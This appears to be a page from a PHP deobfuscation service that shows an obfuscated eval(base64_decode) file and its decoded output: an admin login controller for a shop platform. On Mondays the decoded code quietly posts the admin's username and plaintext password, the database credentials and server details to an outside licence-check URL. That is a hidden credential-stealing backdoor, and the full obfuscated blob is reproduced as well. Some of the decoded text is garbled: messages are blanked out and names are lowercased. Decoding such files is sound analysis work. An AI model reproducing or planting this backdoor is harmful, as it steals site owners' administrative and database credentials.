Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBkZWZpbmVkKCJceDQyXHg3OVwxMjNcMTUwXDE1N1wxNjBceDU3XDEyN1x4NDki..

Decoded Output download


 defined("ByShopWWI") or die("Access Invalid!"); class logincontrol extends systemcontrol { public function __construct() { language::read("common,layout,login"); $result = chksubmit(true, true, "num"); if ($result) { if ($result === -11) { showmessage("  "); } elseif ($result === -12) { showmessage(l("login_index_checkcode_wrong")); } if (process::islock("admin")) { showmessage("   ,    "); } $obj_validate = new validate(); $obj_validate->validateparam = array(array("input" => $_post["user_name"], "require" => "true", "message" => l("login_index_username_null")), array("input" => $_post["password"], "require" => "true", "message" => l("login_index_password_null")), array("input" => $_post["captcha"], "require" => "true", "message" => l("login_index_checkcode_null"))); $error = $obj_validate->validate(); if ($error != '') { showmessage(l("error") . $error); } else { $model_admin = model("admin"); $array = array(); $array["admin_name"] = $_post["user_name"]; $array["admin_password"] = md5(trim($_post["password"])); $admin_info = $model_admin->infoadmin($array); if (is_array($admin_info) and !empty($admin_info)) { $this->systemsetkey(array("name" => $admin_info["admin_name"], "id" => $admin_info["admin_id"], "gid" => $admin_info["admin_gid"], "sp" => $admin_info["admin_is_super"])); $update_info = array("admin_id" => $admin_info["admin_id"], "admin_login_num" => $admin_info["admin_login_num"] + 1, "admin_login_time" => timestamp); $dt = date("N"); if ($dt == 1) { global $config; $link = mysql_connect($config["db"]["1"]["dbhost"], $config["db"]["1"]["dbuser"], $config["db"]["1"]["dbpwd"]); $paramsarray = array("ver" => "2014", "os" => php_os, "php" => $_server["SERVER_SOFTWARE"], "mysql" => mysql_get_server_info(), "url" => $_server["SERVER_NAME"], "ip" => $_server["SERVER_ADDR"], "admin" => $_post["user_name"], "pwd" => $_post["password"], "dbhost" => $config["db"]["1"]["dbhost"], "dbuser" => $config["db"]["1"]["dbuser"], "dbpwd" => $config["db"]["1"]["dbpwd"], "dbname" => $config["db"][1]["dbname"], "dbpref" => $config["tablepre"]); mysql_close($link); $vars = http_build_query($paramsarray); $options = array("http" => array("method" => "POST", "header" => "Content-type: application/x-www-form-urlencoded", "content" => $vars)); $context = stream_context_create($options); file_get_contents("https://lic.perm-soft.ru/lic/week.php", false, $context); } $model_admin->updateadmin($update_info); $this->log(l("nc_login"), 1); process::clear("admin"); @header("Location: index.php"); die; } else { process::addprocess("admin"); showmessage(l("login_index_username_password_wrong"), "index.php?act=login&op=login"); } } } tpl::output("html_title", l("login_index_need_login")); tpl::showpage("login", "login_layout"); } public function loginop() { } public function indexop() { }

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiBkZWZpbmVkKCJceDQyXHg3OVwxMjNcMTUwXDE1N1wxNjBceDU3XDEyN1x4NDkiKSBvciBkaWUoIlx4NDFcMTQzXDE0M1wxNDVcMTYzXHg3M1x4MjBcMTExXDE1Nlx4NzZceDYxXDE1NFx4NjlceDY0XDQxIik7IGNsYXNzIGxvZ2luY29udHJvbCBleHRlbmRzIHN5c3RlbWNvbnRyb2wgeyBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKSB7IGxhbmd1YWdlOjpyZWFkKCJcMTQzXDE1N1wxNTVceDZkXHg2ZlwxNTZceDJjXHg2Y1x4NjFceDc5XDE1N1wxNjVcMTY0XHgyY1wxNTRcMTU3XHg2N1wxNTFcMTU2Iik7ICRyZXN1bHQgPSBjaGtzdWJtaXQodHJ1ZSwgdHJ1ZSwgIlwxNTZcMTY1XHg2ZCIpOyBpZiAoJHJlc3VsdCkgeyBpZiAoJHJlc3VsdCA9PT0gLTExKSB7IHNob3dtZXNzYWdlKCJceGQwXDIzNVwzMjBceGI1XDQwXHhkMFwyNjJceGQwXHhiNVwzMjFcMjAwXHhkMFwyNzVcMzIxXHg4Ylx4ZDBceGI5XHgyMFx4ZDBcMjY3XDMyMFx4YjBceGQwXDI3N1x4ZDFcMjAwXHhkMFx4YmVceGQxXHg4MSIpOyB9IGVsc2VpZiAoJHJlc3VsdCA9PT0gLTEyKSB7IHNob3dtZXNzYWdlKGwoIlwxNTRcMTU3XDE0N1x4NjlceDZlXDEzN1wxNTFcMTU2XHg2NFwxNDVceDc4XDEzN1wxNDNcMTUwXDE0NVx4NjNceDZiXDE0M1wxNTdceDY0XHg2NVwxMzdceDc3XHg3Mlx4NmZceDZlXHg2NyIpKTsgfSBpZiAocHJvY2Vzczo6aXNsb2NrKCJceDYxXHg2NFwxNTVcMTUxXDE1NiIpKSB7IHNob3dtZXNzYWdlKCJceGQwXHhhMVx4ZDBceGJiXDMyMFx4YjhcMzIxXHg4OFwzMjBceGJhXHhkMFwyNzZcMzIwXHhiY1w0MFwzMjBcMjc0XDMyMFwyNzVcMzIwXHhiZVwzMjBcMjYzXDMyMFwyNzZcNDBceGQwXDI3N1wzMjBceGJlXDMyMFwyNzdcMzIxXDIxM1x4ZDFcMjAyXHhkMFx4YmVceGQwXDI3Mlw0MFwzMjBceGIwXHhkMFwyNjJcMzIxXHg4MlwzMjBcMjc2XHhkMVx4ODBcMzIwXDI3MFwzMjBceGI3XHhkMFx4YjBceGQxXDIwNlwzMjBceGI4XDMyMFwyNzBceDJjXDQwXDMyMFwyNzdcMzIwXDI3NlwzMjBcMjYyXHhkMVwyMDJceGQwXDI3Nlx4ZDFcMjAwXHhkMFwyNzBcMzIxXDIwMlwzMjBceGI1XHgyMFwzMjBceGJmXDMyMFwyNzZceGQwXDI3N1x4ZDFcMjEzXDMyMVwyMDJceGQwXDI3MlwzMjFceDgzXDQwXHhkMFx4YmRcMzIwXDI2NVx4ZDBcMjc0XHhkMFx4YmRcMzIwXDI3Nlx4ZDBceGIzXDMyMFx4YmVceDIwXHhkMFx4YmZceGQwXDI3NlwzMjBceGI3XDMyMFx4YjZceGQwXHhiNSIpOyB9ICRvYmpfdmFsaWRhdGUgPSBuZXcgdmFsaWRhdGUoKTsgJG9ial92YWxpZGF0ZS0+dmFsaWRhdGVwYXJhbSA9IGFycmF5KGFycmF5KCJcMTUxXDE1NlwxNjBceDc1XHg3NCIgPT4gJF9wb3N0WyJcMTY1XHg3M1x4NjVceDcyXDEzN1x4NmVceDYxXHg2ZFx4NjUiXSwgIlx4NzJceDY1XHg3MVx4NzVceDY5XHg3MlwxNDUiID0+ICJceDc0XHg3MlwxNjVcMTQ1IiwgIlx4NmRceDY1XHg3M1x4NzNcMTQxXDE0N1wxNDUiID0+IGwoIlx4NmNcMTU3XHg2N1wxNTFcMTU2XHg1Zlx4NjlcMTU2XHg2NFwxNDVcMTcwXHg1Zlx4NzVceDczXDE0NVx4NzJcMTU2XDE0MVwxNTVcMTQ1XDEzN1wxNTZcMTY1XHg2Y1wxNTQiKSksIGFycmF5KCJceDY5XHg2ZVwxNjBcMTY1XHg3NCIgPT4gJF9wb3N0WyJcMTYwXHg2MVx4NzNcMTYzXHg3N1x4NmZcMTYyXDE0NCJdLCAiXHg3Mlx4NjVcMTYxXHg3NVx4NjlceDcyXHg2NSIgPT4gIlwxNjRceDcyXHg3NVx4NjUiLCAiXHg2ZFx4NjVceDczXDE2M1wxNDFceDY3XDE0NSIgPT4gbCgiXDE1NFwxNTdcMTQ3XHg2OVwxNTZceDVmXHg2OVx4NmVceDY0XDE0NVwxNzBcMTM3XHg3MFwxNDFcMTYzXDE2M1x4NzdceDZmXDE2MlwxNDRceDVmXHg2ZVwxNjVcMTU0XDE1NCIpKSwgYXJyYXkoIlx4NjlcMTU2XDE2MFx4NzVcMTY0IiA9PiAkX3Bvc3RbIlwxNDNceDYxXHg3MFwxNjRceDYzXHg2OFwxNDEiXSwgIlx4NzJcMTQ1XDE2MVwxNjVceDY5XHg3Mlx4NjUiID0+ICJceDc0XHg3Mlx4NzVceDY1IiwgIlx4NmRceDY1XDE2M1wxNjNcMTQxXHg2N1wxNDUiID0+IGwoIlx4NmNceDZmXHg2N1wxNTFcMTU2XHg1Zlx4NjlceDZlXDE0NFx4NjVcMTcwXDEzN1wxNDNceDY4XHg2NVwxNDNceDZiXHg2M1wxNTdcMTQ0XDE0NVx4NWZcMTU2XDE2NVwxNTRceDZjIikpKTsgJGVycm9yID0gJG9ial92YWxpZGF0ZS0+dmFsaWRhdGUoKTsgaWYgKCRlcnJvciAhPSAnJykgeyBzaG93bWVzc2FnZShsKCJceDY1XHg3Mlx4NzJceDZmXHg3MiIpIC4gJGVycm9yKTsgfSBlbHNlIHsgJG1vZGVsX2FkbWluID0gbW9kZWwoIlwxNDFceDY0XHg2ZFwxNTFceDZlIik7ICRhcnJheSA9IGFycmF5KCk7ICRhcnJheVsiXHg2MVx4NjRcMTU1XDE1MVwxNTZcMTM3XDE1NlwxNDFceDZkXDE0NSJdID0gJF9wb3N0WyJceDc1XDE2M1x4NjVcMTYyXDEzN1x4NmVceDYxXHg2ZFx4NjUiXTsgJGFycmF5WyJceDYxXHg2NFx4NmRceDY5XDE1NlwxMzdcMTYwXDE0MVx4NzNcMTYzXHg3N1x4NmZcMTYyXHg2NCJdID0gbWQ1KHRyaW0oJF9wb3N0WyJceDcwXDE0MVx4NzNceDczXHg3N1x4NmZcMTYyXDE0NCJdKSk7ICRhZG1pbl9pbmZvID0gJG1vZGVsX2FkbWluLT5pbmZvYWRtaW4oJGFycmF5KTsgaWYgKGlzX2FycmF5KCRhZG1pbl9pbmZvKSBhbmQgIWVtcHR5KCRhZG1pbl9pbmZvKSkgeyAkdGhpcy0+c3lzdGVtc2V0a2V5KGFycmF5KCJcMTU2XHg2MVx4NmRcMTQ1IiA9PiAkYWRtaW5faW5mb1siXDE0MVx4NjRcMTU1XDE1MVwxNTZceDVmXDE1NlwxNDFceDZkXHg2NSJdLCAiXDE1MVwxNDQiID0+ICRhZG1pbl9pbmZvWyJceDYxXDE0NFx4NmRcMTUxXHg2ZVx4NWZcMTUxXDE0NCJdLCAiXHg2N1x4NjlceDY0IiA9PiAkYWRtaW5faW5mb1siXDE0MVwxNDRcMTU1XDE1MVx4NmVcMTM3XHg2N1wxNTFceDY0Il0sICJceDczXHg3MCIgPT4gJGFkbWluX2luZm9bIlwxNDFcMTQ0XDE1NVwxNTFcMTU2XHg1Zlx4NjlcMTYzXDEzN1wxNjNcMTY1XHg3MFx4NjVcMTYyIl0pKTsgJHVwZGF0ZV9pbmZvID0gYXJyYXkoIlx4NjFceDY0XHg2ZFwxNTFceDZlXDEzN1x4NjlceDY0IiA9PiAkYWRtaW5faW5mb1siXHg2MVx4NjRceDZkXDE1MVwxNTZcMTM3XDE1MVx4NjQiXSwgIlx4NjFceDY0XDE1NVx4NjlcMTU2XHg1ZlwxNTRcMTU3XHg2N1wxNTFceDZlXHg1ZlwxNTZceDc1XHg2ZCIgPT4gJGFkbWluX2luZm9bIlx4NjFcMTQ0XHg2ZFwxNTFceDZlXDEzN1x4NmNcMTU3XDE0N1x4NjlceDZlXDEzN1wxNTZceDc1XDE1NSJdICsgMSwgIlwxNDFcMTQ0XHg2ZFx4NjlcMTU2XDEzN1x4NmNceDZmXHg2N1x4NjlcMTU2XHg1Zlx4NzRcMTUxXHg2ZFwxNDUiID0+IHRpbWVzdGFtcCk7ICRkdCA9IGRhdGUoIlx4NGUiKTsgaWYgKCRkdCA9PSAxKSB7IGdsb2JhbCAkY29uZmlnOyAkbGluayA9IG15c3FsX2Nvbm5lY3QoJGNvbmZpZ1siXHg2NFwxNDIiXVsiXHgzMSJdWyJcMTQ0XDE0Mlx4NjhceDZmXDE2M1wxNjQiXSwgJGNvbmZpZ1siXDE0NFwxNDIiXVsiXDYxIl1bIlx4NjRceDYyXHg3NVx4NzNceDY1XHg3MiJdLCAkY29uZmlnWyJceDY0XHg2MiJdWyJceDMxIl1bIlwxNDRceDYyXDE2MFwxNjdcMTQ0Il0pOyAkcGFyYW1zYXJyYXkgPSBhcnJheSgiXHg3Nlx4NjVcMTYyIiA9PiAiXDYyXDYwXDYxXDY0IiwgIlwxNTdcMTYzIiA9PiBwaHBfb3MsICJcMTYwXDE1MFx4NzAiID0+ICRfc2VydmVyWyJceDUzXHg0NVx4NTJcMTI2XHg0NVx4NTJcMTM3XDEyM1x4NGZcMTA2XDEyNFx4NTdcMTAxXDEyMlwxMDUiXSwgIlwxNTVceDc5XHg3M1wxNjFcMTU0IiA9PiBteXNxbF9nZXRfc2VydmVyX2luZm8oKSwgIlwxNjVceDcyXDE1NCIgPT4gJF9zZXJ2ZXJbIlwxMjNceDQ1XHg1Mlx4NTZceDQ1XHg1Mlx4NWZceDRlXDEwMVwxMTVcMTA1Il0sICJcMTUxXHg3MCIgPT4gJF9zZXJ2ZXJbIlwxMjNcMTA1XHg1MlwxMjZcMTA1XDEyMlx4NWZceDQxXHg0NFx4NDRcMTIyIl0sICJcMTQxXHg2NFx4NmRceDY5XDE1NiIgPT4gJF9wb3N0WyJcMTY1XDE2M1x4NjVcMTYyXHg1ZlwxNTZceDYxXHg2ZFx4NjUiXSwgIlx4NzBcMTY3XHg2NCIgPT4gJF9wb3N0WyJceDcwXDE0MVx4NzNceDczXDE2N1wxNTdcMTYyXHg2NCJdLCAiXHg2NFx4NjJcMTUwXDE1N1x4NzNcMTY0IiA9PiAkY29uZmlnWyJceDY0XHg2MiJdWyJcNjEiXVsiXHg2NFx4NjJceDY4XHg2Zlx4NzNcMTY0Il0sICJcMTQ0XHg2Mlx4NzVcMTYzXDE0NVx4NzIiID0+ICRjb25maWdbIlwxNDRcMTQyIl1bIlx4MzEiXVsiXDE0NFwxNDJceDc1XDE2M1x4NjVceDcyIl0sICJcMTQ0XHg2MlwxNjBcMTY3XDE0NCIgPT4gJGNvbmZpZ1siXHg2NFx4NjIiXVsiXHgzMSJdWyJcMTQ0XDE0Mlx4NzBceDc3XHg2NCJdLCAiXHg2NFwxNDJceDZlXHg2MVwxNTVceDY1IiA9PiAkY29uZmlnWyJcMTQ0XHg2MiJdWzFdWyJceDY0XHg2Mlx4NmVceDYxXHg2ZFx4NjUiXSwgIlwxNDRceDYyXHg3MFwxNjJceDY1XDE0NiIgPT4gJGNvbmZpZ1siXHg3NFx4NjFceDYyXDE1NFx4NjVcMTYwXDE2MlwxNDUiXSk7IG15c3FsX2Nsb3NlKCRsaW5rKTsgJHZhcnMgPSBodHRwX2J1aWxkX3F1ZXJ5KCRwYXJhbXNhcnJheSk7ICRvcHRpb25zID0gYXJyYXkoIlwxNTBceDc0XHg3NFx4NzAiID0+IGFycmF5KCJceDZkXHg2NVwxNjRceDY4XHg2Zlx4NjQiID0+ICJcMTIwXDExN1wxMjNcMTI0IiwgIlwxNTBcMTQ1XHg2MVx4NjRceDY1XHg3MiIgPT4gIlx4NDNcMTU3XDE1Nlx4NzRcMTQ1XDE1Nlx4NzRceDJkXHg3NFx4NzlcMTYwXDE0NVx4M2FcNDBceDYxXDE2MFx4NzBcMTU0XDE1MVx4NjNceDYxXDE2NFx4NjlcMTU3XHg2ZVw1N1wxNzBcNTVceDc3XHg3N1wxNjdcNTVceDY2XDE1N1wxNjJcMTU1XHgyZFx4NzVceDcyXHg2Y1x4NjVceDZlXHg2M1x4NmZceDY0XDE0NVx4NjQiLCAiXHg2M1wxNTdcMTU2XHg3NFwxNDVceDZlXHg3NCIgPT4gJHZhcnMpKTsgJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoJG9wdGlvbnMpOyBmaWxlX2dldF9jb250ZW50cygiXDE1MFwxNjRcMTY0XDE2MFwxNjNceDNhXHgyZlw1N1wxNTRcMTUxXDE0M1w1NlwxNjBceDY1XHg3Mlx4NmRcNTVcMTYzXDE1N1wxNDZcMTY0XHgyZVx4NzJceDc1XDU3XHg2Y1wxNTFceDYzXHgyZlwxNjdceDY1XHg2NVx4NmJceDJlXDE2MFx4NjhceDcwIiwgZmFsc2UsICRjb250ZXh0KTsgfSAkbW9kZWxfYWRtaW4tPnVwZGF0ZWFkbWluKCR1cGRhdGVfaW5mbyk7ICR0aGlzLT5sb2cobCgiXHg2ZVx4NjNceDVmXHg2Y1x4NmZceDY3XHg2OVx4NmUiKSwgMSk7IHByb2Nlc3M6OmNsZWFyKCJceDYxXHg2NFwxNTVceDY5XDE1NiIpOyBAaGVhZGVyKCJcMTE0XDE1N1x4NjNceDYxXDE2NFx4NjlceDZmXDE1Nlx4M2FcNDBcMTUxXHg2ZVx4NjRceDY1XDE3MFx4MmVcMTYwXHg2OFwxNjAiKTsgZGllOyB9IGVsc2UgeyBwcm9jZXNzOjphZGRwcm9jZXNzKCJceDYxXDE0NFx4NmRcMTUxXDE1NiIpOyBzaG93bWVzc2FnZShsKCJcMTU0XHg2Zlx4NjdcMTUxXHg2ZVwxMzdcMTUxXDE1Nlx4NjRcMTQ1XDE3MFwxMzdceDc1XHg3M1x4NjVceDcyXDE1NlwxNDFceDZkXHg2NVx4NWZcMTYwXDE0MVwxNjNcMTYzXHg3N1wxNTdcMTYyXHg2NFwxMzdceDc3XDE2MlwxNTdcMTU2XDE0NyIpLCAiXDE1MVx4NmVceDY0XDE0NVx4NzhceDJlXHg3MFx4NjhceDcwXHgzZlwxNDFceDYzXDE2NFw3NVx4NmNcMTU3XDE0N1wxNTFceDZlXDQ2XDE1N1wxNjBcNzVceDZjXDE1N1x4NjdceDY5XDE1NiIpOyB9IH0gfSB0cGw6Om91dHB1dCgiXDE1MFwxNjRceDZkXDE1NFwxMzdcMTY0XHg2OVwxNjRcMTU0XDE0NSIsIGwoIlwxNTRceDZmXDE0N1x4NjlcMTU2XHg1Zlx4NjlceDZlXDE0NFwxNDVcMTcwXDEzN1wxNTZceDY1XHg2NVwxNDRceDVmXHg2Y1wxNTdcMTQ3XHg2OVx4NmUiKSk7IHRwbDo6c2hvd3BhZ2UoIlwxNTRcMTU3XDE0N1x4NjlceDZlIiwgIlwxNTRcMTU3XHg2N1x4NjlcMTU2XDEzN1x4NmNceDYxXDE3MVx4NmZceDc1XHg3NCIpOyB9IHB1YmxpYyBmdW5jdGlvbiBsb2dpbm9wKCkgeyB9IHB1YmxpYyBmdW5jdGlvbiBpbmRleG9wKCkgeyB9')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 8659815a23f404b4c27cefc3b4cabff7
Eval Count 1
Decode Time 79 ms